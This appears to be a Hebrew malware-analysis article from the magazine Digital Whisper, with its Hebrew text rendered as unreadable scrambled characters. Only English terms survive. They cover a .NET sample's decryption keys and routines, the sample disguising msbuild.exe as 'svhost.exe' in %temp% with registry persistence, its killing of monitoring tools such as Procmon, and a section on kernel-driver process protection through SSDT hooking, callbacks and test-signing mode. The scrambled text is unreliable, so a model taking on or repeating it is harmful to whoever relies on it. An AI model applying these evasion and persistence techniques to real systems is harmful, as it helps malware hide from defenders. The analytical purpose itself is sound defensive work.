 ˪˷ ˢˡ˧˵˲˸ ˸˞ ˭˧˟ˢ˪ ˣˮ˪ ˶˷˲˞ˬ ˢˤsmethod_56  ˧ˮ˟ ˫˧˩˶˰ˬ ˸˶˴ˣ˧ ˞˧ˢ :˸ˣ˪˵˟3  ˨ˣ˸ˬ ˫˧˸˟3 

:˫˧ˮˣ˷ ˫˧ˮ˸˷ˬ 

¶ S2 (value: "1B2c3D4e5F6g7H8") 

¶ S (value: "cffffffffffffffffff ") 

¶ String_0: "Sk1N1W/kLlYPS5rz2GRFew==") 

 ˢ˵˪˥ˬˢ ˸˞ ˸˪˥˸˞ˬ ˞˧ˢ ,˭˩ˬ ˶˥˞˪rfc2898DeriveBytes :˫˧˶˦ˬ˶˲ ˢ˷ˣ˪˷ ˢ˪ ˢ˶˧˟˰ˬˣ 

¶ Password - ˫˰ ˨˶˰ˢ "nia) "˶˷˲˞ ˸ˣ˞˶˪ ˸˞ˤ ˸ˮˣˬ˸˟ ˨˯ˬˢ ˪˰ˬ (- ˷ˬ˷˧ ˢˬ˯˧˯˩. 

¶ Bytes2 - ˨˶˰ˬ ˪˷ ˫˧˸˟ ˣ˶˴ˣˮ˷ ˸˶ˤ˰˟ ˢˮ˸˷ˬˢ s - ˷ˬ˷˧ ˩-Salt. 

¶ " ˢ˶˲˧˯ˢ2 "- ˥˸˲ˬˢ ˸˵˲ˢ˪ ˸ˣ˧˴˶˦˧˞ˢ ˶˲˯ˬ 

 ˫˷˟ ,˱˯ˣˮ ˫˧˸˟ ˸˩˶˰ˬ ˸˞˴ˣ˧ ,˭˩ˬ ˶˥˞˪ ,ˢ˧˴˵ˮˣ˲ˢbytes3 ˢˤ ˶˴ˣˮ˷ ˥˸˲ˬˢ ˸˞ ˵˧ˤ˥˧ ˶˷˞ ˨˶˰ˬ ,

 ˢ˵˪˥ˬˢ ˸˞ ˸˪˥˸˞ˬˣ ˢ˩˧˷ˬˬ ˢ˧˴˵ˮˣ˲ˢ ,˭˩ˬ ˶˥˞˪ .ˢ˸˰RijndaelManaged  ˢ˧˴˵ˮˣ˲˪ ˞˶˵˸ˣ

CreateDecryptor  ˫˧ˮ˸˷ˬˢ ˫˰3bytes x-bytes ˢˣ ˥˸˲ˬˢ ˸˞ ˣˣˢ˧˷-IV, .ˢˬ˞˸ˢ˟ 

 ˸ˣ˥ˮ˰˲˸ˬ˷ ˸ˣ˪˲˶ˣ˰ˬˣ ˸ˣˮ˲˴ˣˬ ˸ˣˤˣ˶˥ˬ ˶˲˯ˬ ˡˣ˰ ˷˧˷ ˸ˣ˞˶˪ ˪˩ˣˮ ,ˡˣ˵ˢ ˨˷ˬˢ˟ ˪˩˸˯ˮ ˫˞

ˢ˞˧˶˵ ˸ˣ˰˴ˬ˞˟  ˢ˧˴˵ˮˣ˲˪smethod_0 :˥ˣˮ˰˲ˢ ˨˧˪ˢ˸˪ ˫˧˷˶ˡˮˢ ˫˧˶˦ˬ˶˲ˢ ˫˰ 

 

https://docs.microsoft.com/en-us/dotnet/api/system.security.cryptography.rfc2898derivebytes.-ctor?view=netframework-4.7.1#System_Security_Cryptography_Rfc2898DeriveBytes__ctor_System_String_System_Byte___System_Int32_
https://msdn.microsoft.com/en-us/library/system.security.cryptography.rijndaelmanaged(v=vs.110).aspx
https://docs.microsoft.com/en-us/dotnet/api/system.security.cryptography.rijndaelmanaged.createdecryptor?view=netframework-4.7.1#System_Security_Cryptography_RijndaelManaged_CreateDecryptor_System_Byte___System_Byte___
https://docs.microsoft.com/en-us/dotnet/api/system.security.cryptography.rijndaelmanaged.createdecryptor?view=netframework-4.7.1#System_Security_Cryptography_RijndaelManaged_CreateDecryptor_System_Byte___System_Byte___
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:˫˧ˮ˸˷ˬˢ ˸˧ˮˣ˪˥˟ ˧˶ˣ˵ˬˢ ˫˩˶˰ ˸˞ ˸ˣ˞˶˪ ˪˩ˣˮ ,˥ˮ˰˲˸ˬ ˫˧˩˶˰ˢˬ ˡ˥˞ ˪˩˷ ˶˥˞˪ 

 

 ˣˮ˪˷ ˢ˶˵ˬ˟- text2  ˸ˣˤˣ˶˥ˬ ˡˣ˰ˣ ˡˣ˰ ˸ˣ˞˶˪ ˪˩ˣˮ ,˨˷ˬˢ˟ˣ .ˣˬ˴˰ ˧˶˞ˮ˧˟˪ ˞˪ˬˢ ˟˧˸ˮˢ ˸˞ ˪˧˩ˬ

.˯ˣ˶˧ˣˢ ˪˷ ˣ˸ˣˠˢˮ˸ˢ ˪˰ ˶ˣ˞ ˡˣ˰ ˸ˣ˩˲ˣ˷ ˸ˣˤˣ˶˥ˬ ˭˸ˣ˞ ,˸ˣ˥ˮ˰˲˸ˬ 

 ˨˞) ˢˮˣ˷ ˢ˧˴˵ˮˣ˲ ˸˶ˤ˰˟ ˸ˣ˥ˮ˰ˣ˲ˬ ˶˷˞ ˸ˣˮ˲˴ˣˬ ˸ˣˤˣ˶˥ˬ ˶˲˯ˬ ˡˣ˰ ˸ˣ˞˶˪ ˪˩ˣˮ ˢ˞˟ˢ ˡˣ˵ˢ ˸˯˧˲˟

 (ˢˬˣˡ- smethod_76˸˲ˬ˷ ˟˪ ˣˬ˧˷ ,˟ˠ˞ .:˸˧ˮ˧˯˟ ˞ˣˢ ˢˮ˲˴ˢˢ ˥ 
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 ˢˮ˸˷ˬˢ˷ ˸ˣ˞˶˪ ˪˩ˣˮ ,˫˧˥ˮ˰˲˸ˬ˷ ˫˧˟˧˸ˮ ˡˣ˰ ˸ˣ˞˶˪ ˪˩ˣˮ ,˫˧ˮ˸˷ˬˢ ˸˧ˮˣ˪˥˟ ˸˧ˮ˷ ˪˩˸˯ˮ ˫˞

sourceFileName  ˪˷ ˨˶˰ˢ ˸˞ ˪˧˩ˬmsbuild.exe x-destFileName  ˨˶˰ˢ ˫˰ ˯˪˩ˣ˞ˬsvhost.exe 

%) ˷ˬ˸˷ˬˢ ˪˷ ˸˧ˮˬˤˢ ˢ˧˵˧˸˟ ˞˴ˬˮ˷temp%:( 

 

˪˩ˣˮ ,ˡˣ˵ˢ ˪˰ ˪˩˸˯ˮ ˫˞ :ˢ˵˸˰ˢ ˸˪ˣ˰˲ ˭˞˩ ˸˰˴˟˸ˬ˷ ˸ˣ˞˶˪ 

 

 ˳˟ˣ˵ˢ˷ ˶ˬˣ˞˷ ˢˬsvhost.exe  ˫˴˰˟ ˞ˣˢ ˷ˬ˸˷ˬˢ ˪˷ ˸˧ˮˬˤˢ ˢ˧˵˧˸˟ ˶˴ˣˮ˷MSBuild.exe ˧ˮ˲ˬˣ ,

 ˸˞ ˭ˣ˩˟˪ ˪"ˮˢ ˢ˧˵˧˸˪ ˸˷ˠ˪ ˪˩ˣˮ ,˰ˠ˶ˢ ˢˤ˟ ˯ˣ˶˧ˣˢ ˸˞ ˫˧ˠ˟ˡˬ ˣˮ˞˷MSBuild.exe  .ˣˮˬ˴˰˟ ˭˩˪ˣ

:˨˩ ˪˩ ˣˮ˸ˣ˞ ˢ˰˧˸˲ˬ ˞˪ ˢ˞˟ˢ ˢˮˣˬ˸ˢ 

 

˟ ˷ˣˬ˧˷ˢ-MSBuild ˟ ˸ˣ˧˴˪ˣ˲˧ˮˬ ˶˲˯ˬ ˸˶ˤ˰˟˷ ˶˸ˣ˧ ˭˦˵ ˧˶˞ˮ˧˟ ˸ˣˮ˟˪ ˧ˡ˩ ˡ˰ˣˮ-Registry  ˶˷˲˞˧

 ˡˣ˶˷˪ ˯ˣ˶˧ˣ˪Reboot .ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˪˷ 



 
 

ˢ˧ˬˣ˦ˮ˞ ˪˷ ˸˵ˤˣˮ NET. - ˵˪˥ ˞' 
www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠ99 , ˶˟ˣ˦˵ˣ˞2018  25 
 

˸˶˧ˠ˯ ˫˧˩˧˪ˢ˸ ˰"˧ ˸˶˵ˤˢ ˡˣ˵ 

 ˭ˣˠ˩ ˫˧˩˧˪ˢ˸ ˧˸˥˸˲˷ ˰ˠ˶˟˷ ˞˧ˢ ,ˢˤˢ ˯ˣ˶˧ˣˢ ˸ˣˠˢˮ˸ˢ˟ ˢ˧˪˞ ˟˪ ˧˸ˬ˷˷ ˸˲˯ˣˮ ˸ˮ˧˧ˮ˰ˬ ˢˡˣ˵ˮ

Procmon  ˣ˞Process Hacker  ˢ˶ˣ˷ ˸˞ ˧˸˴˶ˢˣ2049 ˟-class_14 ˫ˢ˟˷ ˶˵˥ˬˢ ˧˪˩ ˪˪˩˷ ˟˪ ˧˸ˬ˷ ,

:˶˶˟˪ ˟˧˧˥ ˧˸˧˧ˢ ?ˢ˶ˣ˵ ˢˤ ˨˧˞ !ˡˣ˞ˬ ˭˧˧ˮ˰ˬ .˪ˣ˰˲˪ ˣ˵˧˯˲ˢˣ ˣ˶˴˰ˮ ˦ˣ˷˲ ˧˸˷ˬ˸˷ˢ 

 ˧ˮˬ ˪˩ ˪˷ ˢˬ˧˷˶ ˫˩ˣ˸˟ ˫˧˪˪ˣ˩ ˫ˢ ,˶˵˥ˬ ˧˪˩ ˪˷ ˫˧˩˧˪ˢ˸ ˶ˣˠ˯˪ ˫˧˴ˣ˶ ˫˧˯ˣ˶˧ˣ ˶˷˞˩ ,˪˪˩ ˨˶ˡ˟

" ˭ˣˠ˩ ˫˧˩˧˪ˢ˸ ˸ˣˬ˷Wireshark , ˸˪˧˟˥ ˨ˣ˸ˬ ˫˧˪˩ˣSysinternals ˫˧˩˧˪ˢ˸ˢ ˸ˬ˧˷˶ ˸˞ ˫˧ˬˠˣˡ ,(

˪ ˫˧˞˶ˣ˵ ˦ˣ˷˲ˣ ˸ˣ˧ˮ˷ ˶˲˯ˬ ˪˩ ˫˧˪˧˰˲ˢ-()TerminalProcess .ˢˬ˞˸ˢ ˫˧˞˴ˣˬ ˫ˢ˷ ˰ˠ˶˟ 

 ˢˮˣ˷ ˣˮ˪˷ ˢ˶˵ˬˢ-  ˸ˣ˰˴ˬ˞˟) ˢ˲˧˵˰ ˣ˞ ˢ˶˧˷˧ ˢ˞˧˶˵ ˸˰˴˟˸ˬ ˣ˟˷ ˟˪˷ ˫ˣ˷ ˞ˣ˴ˬ˪ ˧˸˥˪˴ˢ ˞˪

()GetProcAddress() ˢ˧˴˵ˮˣ˲˪ (TerminateProcess. 

˷ ˶˥˞˪˷ ˟˪ ˧˸ˬ˷ ,˯ˣ˶˧ˣˢ ˸˞ ˧˸ˠ˞˟˧ˡ ˶˷˞˩-ProcessHacker  ˡ˰ ˸˧ˮ˷ ˣ˸ˣ˞ ˥ˣ˸˲˪ ˧˸˪ˣ˩˧ ˞˪ ,˶ˠ˯ˮ

 ˪˷ ˧ˬ˞ˮ˧ˡˢ ˥ˣ˸˧ˮˢ ˟˪˷ ˪˰ ˸ˣ˷˵ˢ˪ˣ ˶˵ˣ˥ˢ ˪˷ ˣ˧˧˥ ˸˞ ˶˶ˬ˪ ˢˡ˰ˣˮ ,˭˟ˣˬ˩ ,ˣˤ ˢ˵˧ˮ˩˦ .˯ˣ˶˧ˣˢ ˸˶˧ˠ˯

.˯ˣ˶˧ˣˢ 

()ˢ˧˴˵ˮˣ˲˟ ˷ˣˬ˧˷ ˸ˣ˰˴ˬ˞˟ ˞˧ˢ ,ˢˤ ˵˧˶˦ ˰˴˟˪ ˢ˴ˣ˲ˮ ˢ˦˧˷CreateToolHelp32Snapshot ˣˤ ˢ˧˴˵ˮˣ˲ ,

" ˥˵˸Snapshot "˪˷ ˨˧˪ˢ˸ˢ ˡ˥˧ ˫˰ s-Heap ˧˥˩ˣˮˢ ˣ˪˷ ,˫˧˪ˣˡˣˬˢ ˫˧ˮˣ˰˦ˢ ˣ˧˪˞ ˡˣ˰ˣ ˰ˡ˧ˬ ˱˯ˣˮ. 

 ,ˣˮ˪˷ ˢ˶˵ˬ˟ ,ˣˤ ˢ˧˴˵ˮˣ˲˪ ˫ˢˬ ˡ˥˞ ˪˩ ˶ˣ˟˰ ˢ˶ˣ˵ˣ ˫˧˴˶ˢ ˫˧˩˧˪ˢ˸ˢ ˪˩ ˸ˬ˧˷˶ ˸˞ ˥˵ˣ˪ ˢ˧ˢ ˯ˣ˶˧ˣˢ

 ˫˧˴˶˷ ˫˧˩˧˪ˢ˸ˢˬ ˡ˥˞ ˶ˣ˟˰ ˰ˡ˧ˬ ˶˧ˤ˥ˬ ˨˶˰ˬ˟ ˞˸ ˪˩ .˨˶˰ˬ˟ ˸˶ˬ˷ˮ ˪"ˮˢ ˢ˞˧˶˵ˢ ˪˷ ˢ˞˴ˣ˸ˢ

:ˢ˸˰ ˢˤ˟ 

 

https://docs.microsoft.com/en-us/windows/desktop/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot
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˦˵ ˣ˸ˣ˞) ˞˟ˢ ˡˣ˵ˢ ˰˦˵ ˸˞ ˥ˮ˰˲ˬ ˯ˣ˶˧ˣˢ ,˶˵˥ˬ ˸˪ˣ˰˲˪ ˶ˣ˷˵˷ ˨˧˪ˢ˸ ˪˪ˣ˩ ˫˧˞˸ˢˬ ˡ˥˞˷ ˰ˠ˶˟ ˰

 ˢ˧˴˵ˮˣ˲˪ ˞˶ˣ˵ ˡˣ˵ ˰˦˵ ˣ˸ˣ˞ .˶˵˥ˬ ˨˧˪ˢ˸ ˣ˸ˣ˞ ˨ˣ˸˪ ˣ˸ˣ˞ ˵˧˶ˤˬ ˤ˞ˣ (ˣˬ˴˰ ˯ˣ˶˧ˣˢ ˨ˣ˸˟ ˶ˣˬ˷ ˭˲˴ˣˬ

()NtTerminateProcess :˨˧˪ˢ˸ˢ ˸˶˧ˠ˯˪ ˫˶ˣˠ ˨˩˟ˣ 

 

 

˫ˣ˩˧˯ 

 ˷˧ ˢ˟ ˨˶ˡˢ ˸˞ ˣˮ˧˯˧˩ ˢˤ ˵˪˥˟ .˪"ˮˢ ˯ˣ˶˧ˣˢ ˸ˣˡˣ˞ ˧˸˧˷˰˷ ˶˵˥ˬ˟ ˭ˣ˷˞˶ˢ ˟˪˷ˢ ˸˞ ˫˩˯ˬ ˢˤ ˵˪˥

 ˦˵˧˧ˣ˶˲ ˪˷ ˶ˣ˥˞˪ ˢ˯ˡˮˢ ˰ˣ˴˧˟ ˸˰˟ ˸˷ˠ˪NET.- ˭˸˧ˮ ˫ˢ˟˷ ˸ˣ˵˧ˮ˩˦ ˶˲˯ˬˣ ˫˧˪˩ ˶˲˯ˬ ˣˮˠ˴ˢ ,˧

˸ˣ˟ˣ˷˥ˣ ˸ˣˮ˧˧ˮ˰ˬ ˸ˣ˪˞˷ ˧˸˷ ˪˰ ˣˮ˧ˮ˰ ,˱˯ˣˮ˟ .˫˧˴˲ˣˮ ˫˧˪ˣ˷˩ˬ ˪˰ ˶˟ˠ˸ˢ˪ ˸ˮˬ ˪˰ ˷ˬ˸˷ˢ˪ ˨˧˞ :

.˯ˣ˶˧ˣˢ ˧"˰ ˣˬ˴˰ ˶˵˥ˬˢ ˭ˬˤ˟ ˣ˶ˠ˯ˮ ˣˮ˪˷ ˶˵˥ˬˢ ˧˪˩ ˢˬ˪ˣ 

 ˭˸˧ˮ ˢˬˣ ,˟˷˥ˬˢ ˪˰ ˳˧˶ˬˣ ˦ˮ˶˦ˮ˧˞ˢˬ ˨˷ˣˬ ˞ˣˢ ˫˧˴˟˵ ˣ˪˧˞ ,˯ˣ˶˧ˣˢ ˪˷ ˣ˸˶˦ˬ ˢˬ ˢ˯˩ˮ ˞˟ˢ ˵˪˥˟

˰ˣ˴˧˟ ˸˶ˤ˰˟ ˭ˢ˧˪˰ ˡˣˬ˪˪ ˥ˣ˸˧ˮ .˧˦˞˦˯ 
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 ˸˞ˬˢ˷ˬ ˪˞˧ˮˡ 

 

˞ˣ˟ˬ 

 ˣˬ˩ ,ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˟ ˫˧˩˧˪ˢ˸ ˸˶˧˴˧ ˶ˣ˦˧ˮ˪ ˧˪˩ ˸˟˧˸˩˟ ˭ˣ˷˞˶ˢ ˣ˵˪˥˟ ˵ˣ˯˰˧ ˞˟ˢ ˶ˬ˞ˬˢ

Procmon ˬ-Sysinternals  ˣˬ˩ˣAntivirus  ˫˵˪˥ˣ ˸˩˶˰ˬ˟ ˫˧˩˧˪ˢ˸ˢ ˸ˣ˪˧˰˲ ˪˩ ˸˞ ˫˧˶˦ˮˬ ˶˷˞ ˫˧˟˶

 ˰ˣ˶˧˞ ˪˩ ˶˦ˮ˪ ˫˧˥˧˪˴ˬ ˣ˸˶ˤ˰˟˷ ˶˟˧˧˶ˡ ˷˧ ˣ˪˞ ˫˧˪˩˪ .˪˧˥˸ˢ˪ˬ ˨˧˪ˢ˸ˢ ˸˞ ˶ˣ˴˰˪ ˫˧˪ˠˣ˯ˬ ˫ˠ

ˢ.˫˧˩˧˪ˢ˸˪ ˶ˣ˷˵ 

) ˫˧ˮˣ˩˧˪ˢ˸ ˫ˠ ˞˪˞ ˫˧˩˧˪ˢ˸ˢ ˧˰ˣ˶˧˞ ˸˞ ˫˧˶˦ˮˬ ˵˶ ˞˪ ˣ˪˞ ˫˧˪˩Threads ˸ˮ˧˰˦ ,˧˶˦˯˧'ˠ˶˟ ˷ˣˬ˧˷ ,(

Images  ˸ˣ˰˴ˬ˞˟ ˰˴˟˸ˬ ˢˤ ˶ˣ˦˧ˮ .ˡˣ˰ˣCallbacks  ˫˧˴˟˵ ˪˰ ˶ˣ˦˧ˮ .˨˷ˬˢ˟ ˶˧˟˯ˮ ˫ˢ˧˪˰˷ ˪ˮ˶˵˟

 ˧ˡ˧ ˪˰ ,˸˶˥˞ ˨˶ˡ˟ ˰˴˟˸ˬFile System Minifilter Drivers ˢ˧˪˰˷ ,.˶ˬ˞ˬ˟ ˶˧˟˯ˮ ˞˪ 

 ˣˬ˩ ,˫˧˩˧˪ˢ˸ ˸˶˧˴˧ ˸ˣ˶˦ˮˬˢ ˸ˣ˧ˮ˩ˣ˸˪ ˭ˣˮ˧˯ ˰˴˟˧ ˶˷˞ ˧˪˩ ˸˟˧˸˩˟ ˵ˣ˯˰ˮ ˶ˬ˞ˬˢ ˪˷ ˧ˮ˷ˢ ˣ˵˪˥˟

 ˭ˮˣ˯˧ ˶˴ˣˣ˧˷ ˨˧˪ˢ˸ˢ ˳ˣ˶˪ ˪˧˥˸˧ ˢˤ ˳˟ˣ˵˷ ˫˰˲ ˪˩˟ˣ ˷˞˶ˬ ˣ˪ ˭˸˧ˮ˷ ˫˷ ˧˲˪ ˭ˮ˯˧ ˧˪˩ˢ .˫ˡˣ˵ ˣˮ˶˟˯ˢ˷

ˢˬˣ ˶ˣ˦˧ˮˢ ˧˪˩ˬ-AVs  ˧˪˟ ˪˧ˠ˶˩ ˣ˶˦ˣˮ˧ ˫˧˩˧˪ˢ˸ˢ ˶˞˷ ˨˞˫ˣ˶ˠ˪ ˪ ˢ˰˧ˠ˲ˬ .˸˶˦ˮˬˢ ˸˩˶˰ˬˢ ˡ˧˵˲˸

 ˫˧˷ˬ˸˷ˬ ˪˪˩ ˨˶ˡ˟ ˣˤ ˢ˵˧ˮ˩˦˟Rootkits ˬ ˵ˬ˥˸ˢ˪ ˣ˴˶˧ ˶˷˞-AV˟ ˣ˷ˬ˸˷ˢ ,˶˟˰˟ .-Hook ˢ ˪˰-

SSDT ˢ ˪˪ˠ˟ ˫ˣ˧˩ ˨˞ ˣ˪˞ ˫˧˰ˣ˶˧˞ ˶˦ˮ˪ ˧ˡ˩-PatchGuard ˢ˷ ˭ˣˣ˧˩ ˶˸ˣ˧ ˸˞ˤ ˸ˣ˷˰˪ ˭˸˧ˮ ˞˪-

PatchGuard ˟ ˫˧˧ˣˮ˧˷ ˣ˷˰ˮ ˞˪˷ ˵ˡˣ˟-SSDT ˸˶˟˯ˣˬˢ ˢ˦˧˷ˢ .ˢˣ ˫ˣ˧˩ ˸ˡ˟ˣ˰ ˶ˬ˞ˬ˟-PatchGuard  ˞˪

 .ˢ˸ˣ˞ ˫˯ˣ˥˟˴ˬ˟ x˟ s-PatchGuard ˢˢˤ˧ ˢ˰˧ˠˮ ˭ˣ˶˩ˤ˟ ˸˩˶˰ˬˢ ˪˟˵˸ BSOD ˫˰ ˢ˞˧ˠ˷ˢ 

CRITICAL_STRUCTURE_CORRUPTION. 

 ˸˲˷˟ ˰ˡ˧ ˷˶ˡˮ ˣ˪˞ ˫˧˪˩ ˟ˣ˸˩˪ ˧ˡ˩˟ˣ ˫˧˶˟˧˧˶ˡ˩ ˣ˟˸˩˧ ˣ˪˞ ˫˧˪˩C ˪ ˫˧˶˟˧˧˶ˡ ˸˟˧˸˩˟ˣ-Windows .

˞ ˫˧˞˷ˣˮ˟ ˧˯˧˯˟ ˰ˡ˧ ˷˶ˡˮ˪ ˣ˪˲ˬˣ˵˧ ˫˧˶˟˧˧˶ˡˢ .ˣ˟ ˸ˣ˶˟˯ˣˬ˷ ˸ˣ˦˧˷ˢˣ ˶ˬ˞ˬˢ ˸˞ ˭˧˟ˢ˪ ˧ˡ˩ ˣ˪- 

Windows7 x64 ˢ ˸˲˧˵˰˪ ˸ˣ˯˥˧˧˸ˢ ˢ˧ˢ˧˸ ˞˪ ˶ˬ˞ˬ˟ ˨˞-DSE )Driver Signature Enforcement -  ˞ˣˢ

 ˸ˣ˞˯˶˧ˠ ˫˰ ˞˟˷ ˸˩˶˰ˬ˪ ˢˮˠˢ ˱˯ˣ˸x64 ˪-Windows  ˧ˡ˩˟ .(˫˧ˬˣ˸˥ ˞˪ ˫˧˶˟˧˧˶ˡ ˸ˮ˧˰˦ ˰ˮˣˬ ˶˷˞

˧˧˶ˡ ˸ˮ˧˰˦ ˶˷˲˞˪ ˪˷ ˢ˧˴˲ˣ˞ˢ ˸˞ ˶˷˲˞ˮ ˫˧˶˟TESTSIGNING ˢ ˸ˣ˶ˡˠˢ˟-Boot  ˸˶ˤ˰˟BCDEdit. 
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˸˟˧˸˩ Process Monitor 

 ˪˷ ˢ˶˧ˠ˯ ˣ˞ ˢ˶˧˴˧ ˪˩˟ ˣˮ˪ ˰˧˶˸ˢ˪ ˨˶˦˴˧ ˟ˣ˸˩ˮ ˶˷˞ ˧˪˩ˢProcess  ˢˬ˩˟ ˸˞ˤ ˸ˣ˷˰˪ ˭˸˧ˮ .˸˩˶˰ˬ˟

 ˨˶ˡ ˫ˠ ˢˬˡ˵ˢ˟ ˶˟˯ˣˢ˷ ˣˬ˩ˣ ˸ˣ˦˧˷SSDT Hooking  ˸ˣ˷˰˪ ˧ˡ˩ .˸˶˥˞ ˢ˦˧˷˟ ˷ˬ˸˷ˮ ˶ˬ˞ˬ˟ ˨˞

˟ ˷ˬ˸˷ˮ ˸˞ˤ-Kernel-mode callback routinesˢ .-Callbacks  ˶˷˞˩ˣ ˸˩˶˰ˬ˟ ˸ˣˬ˷˶ˮˢ ˸ˣ˧˴˵ˮˣ˲ ˭ˢ

.˸ˣ˰˴˟˸ˬ ˭ˢ ˣ˟ ˪˲˦˪ ˸ˣ˶ˡˠˣˬ ˭ˢ ˶˷˞ ˫˧ˣ˯ˬ ˰ˣ˶˧˞ ˢ˶ˣ˵ 

˟ ˷ˬ˸˷ˢ˪ ˭˸˧ˮ-Callbacks ˧˴˧ ˭ˣˠ˩ ˸˩˶˰ˬ˟ ˣ˶˵˷ ˫˧ˬ˧ˣ˯ˬ ˫˧˰ˣ˶˧˞ ˪˰ ˢ˞˶˸ˢ ˪˟˵˪ ˧ˡ˩ ˪˷ ˢ˶˧ˠ˯ˣ ˢ˶

˟ ˷ˣˬ˧˷ ˪˰ ,˫˧ˮˣ˩˧˪ˢ˸ ˪˰ ˫ˠ ˱˯ˣˮ˟ˣ ˫˧˩˧˪ˢ˸-Registry .ˡˣ˰ˣ  ˨˶˦˴ˮ ˫˧˰ˣ˶˧˞ ˪˰ ˢ˞˶˸ˢ ˪˟˵˪ ˧ˡ˩

ˢ ˸˞ ˱˧˯ˣˢ˪-callback  ˪˩ˣˮ ˨˧˪ˢ˸ ˶ˠ˯˧ ˣ˞ ˶˴ˣˣ˧˷ ˫˰˲ ˪˩˟ ˳ˣ˶˸˷ ˢ˧˴˵ˮˣ˲ ˢ˸ˣ˞˟ˣ ˸˩˶˰ˬ˪ ˣˮ˪˷

.˰ˣ˶˧˞ˢ ˪˰ ˷ˬ˸˷ˬ˪ ˰˧˶˸ˢ˪ 

-sCallbacks  ˨˶˰ˬ˪ ˸˲˯ˣˮ ˢ˧˴˵ˮˣ˲ ˫ˣ˷˶˪ ˧ˡ˩ˣ ˢ˧˴˵ˮˣ˲ ˪˩˪ ˫˧˰˧˟˴ˬ ˪˷ ˨˶˰ˬ ˨ˣ˸˪ ˫˧ˬ˷˶ˮ ˸˩˶˰ˬ˟

 ˢ˧˴˵ˮˣ˲˟ ˷ˬ˸˷ˮPsSetCreateProcessNotifyRoutine :˸˞ˤ˩ ˞˧ˢ ˢ˪˷ ˢ˶ˡˠˢˢ˷ 

 

 ˠˣ˯ˬ) ˢ˞˧ˠ˷ ˡˣ˵ ˢ˶˧ˤ˥ˬˣ ˫˧˶˦ˬ˶˲ ˧ˮ˷ ˸˪˟˵ˬ ˢ˧˴˵ˮˣ˲ˢNTSTATUS(: 

¶  ˣˮ˞ ˢ˩˶ˡ˷ ˣˮ˪˷ ˢ˧˴˵ˮˣ˲ˢ ˞ˣˢ ˭ˣ˷˞˶ˢ ˶˦ˬ˶˲ˢ˧˶˸ˮ ˰.˫˧˩˧˪ˢ˸ˢ ˸ˣ˪˧˰˲ ˪˰ 

¶ ˢ ˸˞ ˵ˣ˥ˬ˪ ˢ˴˶ˮ ˫˞ ˶ˬˣ˞˷ ˧ˮ˞˧˪ˣ˟ ˞ˣˢ ˧ˮ˷ˢ ˶˦ˬ˶˲ˢ-Callback  ˱˧˯ˣˢ˪ ˣ˞ ˨˶˰ˬˢˬ ˣˮ˪˷

.ˣ˸ˣ˞ 
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 ˠˣ˯ˬ ˞ˣˢ ˢ˧˴˵ˮˣ˲ˢˬ ˶ˤˣ˥ˢ ˨˶˰ˢNTSTATUS .ˣ˶ˤ˥ˣ˧˷ ˫˧˩˶˰˪ ˸ˣ˧˴˲ˣ˞ ˧ˮ˷ ˵˶ ˫ˮ˷˧ˣ  ˞ˣˢ ˡ˥˞

STATUS_SUCCESS  ˢ˲˯ˣˣ˸ˢ ˢ˧˴˵ˮˣ˲ˢ ˶˷˞˩,ˢ˥˪˴ˢ˟  ˞ˣˢ ˧ˮ˷ˢˣSTATUS_INVALID_PARAMETER 

 ˸ˣ˧˴˵ˮˣ˲ ˡˣ˰ ˱˧˯ˣˢ˪ ˫ˣ˵ˬ ˭˧˞ˣ ˞˪ˬ ˨˶˰ˬˢ˷ ˣ˞ ˨˶˰ˬ˟ ˢˬˣ˷˶ ˶˟˩ ˢ˧˴˵ˮˣ˲ ˢ˸ˣ˞ ˶˷˞˩ ˶ˤ˥ˣ˧˷

 ˞ˣˢ ˨˶˰ˬˢ ˪˷ ˧˪ˬ˧˯˵ˬˢ ˪ˡˣˠˢ)64  ˨˶˰ˬ˟ ˷˧ ˪˪˩ ˨˶ˡ˟ ˶˷˞˩6  ˪˷ ˸ˣ˧˴˵ˮˣ˲Windows  ˸˥˞ ˡˣ˰ˣ

 ˪˷Windows Defender .(˫˧˧˵ ˞ˣˢ ˫˞ 

ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˢ˶ˡˠˢˢ ˪˰ ˪˩˸˯ˮ ˸˰˩ ˢ ˨˶˰ˬ˪ ˱˧˯ˣˮˣ ˡˣ˵˟ ˟ˣ˸˩ˮ ˢ˸ˣ˞ ˣˮ˪˷-Callbacks: 

 

 ˸˪˟˵ˬ ˢ˧˴˵ˮˣ˲ˢ3 .ˢ˶ˤ˥ ˨˶˰ ˢ˶˧ˤ˥ˬ ˞˪ˣ ˫˧˶˦ˬ˶˲ 

¶ ˶˦ˬ˶˲ˢ ˭ˣ˷˞˶ˢ ˞ˣˢ s-Process ID ˪˷ ˨˧˪ˢ˸ˢ ˟˞ ˪˷ ˣ˸ˣ˞ ˨˧˪ˢ˸ ˶ˠ˯ˮ˷ x˞ ˶˴ˣˮ. 

¶ ˶˦ˬ˶˲ˢ ˧ˮ˷ˢ ˞ˣˢ s-Process ID ˪˷ ˨˧˪ˢ˸ˢ ˶ˠ˯ˮ˷ x˞ ˶˴ˣˮ. 

¶ ˶˦ˬ˶˲ˢ ˧˷˧˪˷ˢ ˞ˣˢ ˧ˮ˞˧˪ˣ˟ ˶ˬˣ˞˷ ˫˞ ˨˧˪ˢ˸ˢ ˶ˠ˯ˮ x˞ ˶˴ˣˮ. 
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ˢ ˸˞ ˯˧˲ˡˢ˪ ˪˩ˣˮ ˣˮ˪˷ ˢ˧˴˵ˮˣ˲˟-Process ID  ˯˧˲ˡˮ ˱˯ˣˮ˟ .(˶˴ˣˮ ˣ˞ ˶ˠ˯ˮ) ˣ˪˷ ˟˴ˬˢ ˸˞ˣ ˨˧˪ˢ˸ˢ ˪˷

ˢ ˪˷ (˞˪ˬˢ ˟˧˸ˮˢ) ˣˬ˷ ˸˞ ˫ˠ-Exe ˢ ˨˶ˡ ˳˶˷-PID .ˣ˪˷ 

 ˠ˧˷ˮ ˢ˪˧˥˸ ,˟˧˸ˮˢ ˸˞ ˞˧˴ˣˢ˪ ˧˞ˡ˩Handle  ˢˮ˟ˬˢ ˨˶ˡ ˨˧˪ˢ˸˪EPROCESS  ˨˧˪ˢ˸ ˪˩˪ ˪ˮ˶˵˟ ˫˧˧˵˷

